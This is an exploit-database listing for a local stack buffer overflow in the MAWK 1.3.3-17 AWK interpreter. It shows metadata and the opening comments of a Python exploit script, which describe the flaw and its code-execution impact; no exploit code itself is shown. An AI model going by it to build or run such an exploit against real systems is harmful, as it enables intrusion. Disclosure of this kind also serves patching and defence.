MAWK 1.3.3-17 - Local Buffer Overflow

EDB-ID:

42357

CVE:

N/A


Author:

Juan Sacco

Type:

local


Platform:

Linux

Date:

2017-07-24


#!/usr/bin/python
# Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
# Tested on: GNU/Linux - Kali 2017.1 Release
#
# Description: MAWK ( AWK Interpreter ) 1.3.3-17 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate boundary-checks on user-supplied input.
#
# Program affected: mawk is an interpreter for the AWK Programming Language. The AWK language is useful
# for manipulation of data files, text retrieval and processing, and for prototyping and experimenting with algorithms.
#
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
